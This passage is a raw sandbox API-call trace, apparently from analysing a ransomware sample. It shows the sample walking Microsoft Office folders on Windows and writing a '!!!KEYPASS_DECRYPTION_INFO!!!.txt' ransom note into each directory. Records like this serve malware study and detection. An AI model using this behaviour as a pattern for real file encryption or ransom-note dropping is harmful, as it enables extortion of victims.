PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_ViewOnly_ZeroGrace-ppd.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_ViewOnly_ZeroGrace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.547] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessDemoR_BypassTrial365-ppd.xrm-ms") returned=".xrm-ms" [0244.547] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.547] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessDemoR_BypassTrial365-ul-oob.xrm-ms") returned=".xrm-ms" [0244.547] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365EduCloudEDUR_Grace-ppd.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365EduCloudEDUR_Grace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365EduCloudEDUR_Subscription-pl.xrm-ms") returned=".xrm-ms" [0244.548] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.548] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365EduCloudEDUR_Subscription-ppd.xrm-ms") returned=".xrm-ms" [0244.549] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.549] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365EduCloudEDUR_Subscription-ul-oob.xrm-ms") returned=".xrm-ms" [0244.549] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.549] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365EduCloudEDUR_SubTrial-pl.xrm-ms") returned=".xrm-ms" [0244.549] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.549] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365EduCloudEDUR_SubTrial-ppd.xrm-ms") returned=".xrm-ms" [0244.549] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.549] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365EduCloudEDUR_SubTrial-ul-oob.xrm-ms") returned=".xrm-ms" [0244.549] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.549] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial365-ppd.xrm-ms") returned=".xrm-ms" [0244.549] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.549] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial365-ul-oob.xrm-ms") returned=".xrm-ms" [0244.549] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.549] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned=".xrm-ms" [0244.549] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.554] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.554] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned=".xrm-ms" [0244.555] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.555] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned=".xrm-ms" [0244.556] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.556] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned=".xrm-ms" [0244.556] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.556] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned=".xrm-ms" [0244.556] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.556] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned=".xrm-ms" [0244.556] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.556] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned=".xrm-ms" [0244.556] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.556] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned=".xrm-ms" [0244.556] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.556] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned=".xrm-ms" [0244.556] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.556] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned=".xrm-ms" [0244.556] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.556] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned=".xrm-ms" [0244.556] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.556] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned=".xrm-ms" [0244.556] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.556] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned=".xrm-ms" [0244.570] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned=".xrm-ms" [0244.975] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0244.975] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2f4e528 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0244.975] GetLastError () returned 0x3f0 [0244.975] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\loc\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\loc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0244.975] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\loc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0244.978] GetFileType (hFile=0x5e4) returned 0x1 [0244.978] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0244.978] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0244.978] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0244.978] WriteFile (in: hFile=0x5e4, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0244.979] WriteFile (in: hFile=0x5e4, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0244.979] CloseHandle (hObject=0x5e4) returned 1 [0244.979] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79958 [0244.980] FindNextFileW (in: hFindFile=0x2e79958, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x2e79958, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.980] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\loc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0244.980] FindNextFileW (in: hFindFile=0x2e79958, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.980] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.16.en-us.xml") returned=".xml" [0244.980] FindNextFileW (in: hFindFile=0x2e79958, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0244.980] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0244.980] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0244.980] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2f4e528 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0244.980] GetLastError () returned 0x3f0 [0244.980] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0244.980] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec [0245.003] GetFileType (hFile=0x5ec) returned 0x1 [0245.003] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0245.003] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0245.003] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0245.003] WriteFile (in: hFile=0x5ec, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.004] WriteFile (in: hFile=0x5ec, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0245.004] CloseHandle (hObject=0x5ec) returned 1 [0245.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79ad8 [0245.004] FindNextFileW (in: hFindFile=0x2e79ad8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.004] FindNextFileW (in: hFindFile=0x2e79ad8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.004] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.004] FindNextFileW (in: hFindFile=0x2e79ad8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.004] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\AppVIsvSubsystems32.dll") returned=".dll" [0245.004] FindNextFileW (in: hFindFile=0x2e79ad8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.005] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\AppVIsvSubsystems64.dll") returned=".dll" [0245.005] FindNextFileW (in: hFindFile=0x2e79ad8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.005] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0245.005] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.005] GetLastError () returned 0x3f0 [0245.005] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.005] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0245.010] GetFileType (hFile=0x5e8) returned 0x1 [0245.010] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0245.010] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0245.010] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0245.010] WriteFile (in: hFile=0x5e8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0245.011] WriteFile (in: hFile=0x5e8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0245.011] CloseHandle (hObject=0x5e8) returned 1 [0245.011] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79b58 [0245.011] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.012] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.012] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.012] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.012] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml") returned=".mcxml" [0245.012] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.012] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml") returned=".mcxml" [0245.012] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.012] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\branding.mcxml") returned=".mcxml" [0245.012] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\dcfmui.msi.16_dcfmui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: 